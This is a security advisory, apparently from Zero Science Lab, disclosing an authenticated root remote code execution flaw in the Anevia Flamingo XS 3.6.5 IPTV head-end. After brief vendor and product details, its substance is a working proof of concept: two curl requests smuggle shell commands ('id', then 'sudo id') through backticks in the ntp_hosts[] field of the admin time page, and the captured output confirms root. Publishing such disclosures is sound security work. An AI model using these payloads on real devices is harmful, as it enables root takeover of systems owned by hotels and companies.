Anevia Flamingo XS 3.6.5 Authenticated Root Remote Code Execution

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Anevia Flamingo XS 3.6.5 Authenticated Root Remote Code Execution  
  
  
Vendor: Ateme  
Product web page: https://www.ateme.com  
Affected version: 3.6.5  
Hardware revision: 1.1  
SoapLive 2.4.0  
SoapSystem 1.3.1  
  
Summary: Flamingo XL, a new modular and high-density IPTV head-end  
product for hospitality and corporate markets. Flamingo XL captures  
live TV and radio content from satellite, cable, digital terrestrial  
and analog sources before streaming it over IP networks to STBs, PCs  
or other IP-connected devices. The Flamingo XL is based upon a modular  
4U rack hardware platform that allows hospitality and corporate video  
service providers to deliver a mix of channels from various sources  
over internal IP networks.  
  
Desc: The affected device suffers from authenticated remote code  
execution vulnerability. A remote attacker can exploit this issue  
and execute arbitrary system commands granting her system access  
with root privileges.  
  
Tested on: GNU/Linux 3.14.29 (x86_64)  
Apache/2.2.22 (Debian)  
PHP/5.6.0-0anevia2  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2023-5778  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5778.php  
  
  
13.04.2023  
  
--  
  
  
$ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60id%60&ntp_address=&update=Apply&request=ntp" |findstr www-data  
<td>uid=33(www-data)</td>  
<input type="hidden" name="ntp_hosts[]" value="uid=33(www-data)"/>  
<td>gid=33(www-data)</td>  
<input type="hidden" name="ntp_hosts[]" value="gid=33(www-data)"/>  
<td>groups=33(www-data),6(disk),25(floppy)</td>  
<input type="hidden" name="ntp_hosts[]" value="groups=33(www-data),6(disk),25(floppy)"/>  
  
  
---  
  
  
$ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60sudo%20id%60&ntp_address=&update=Apply&request=ntp" |findstr root  
<td>uid=0(root)</td>  
<input type="hidden" name="ntp_hosts[]" value="uid=0(root)"/>  
<td>gid=0(root)</td>  
<input type="hidden" name="ntp_hosts[]" value="gid=0(root)"/>  
<td>groups=0(root)</td>  
<input type="hidden" name="ntp_hosts[]" value="groups=0(root)"/>  
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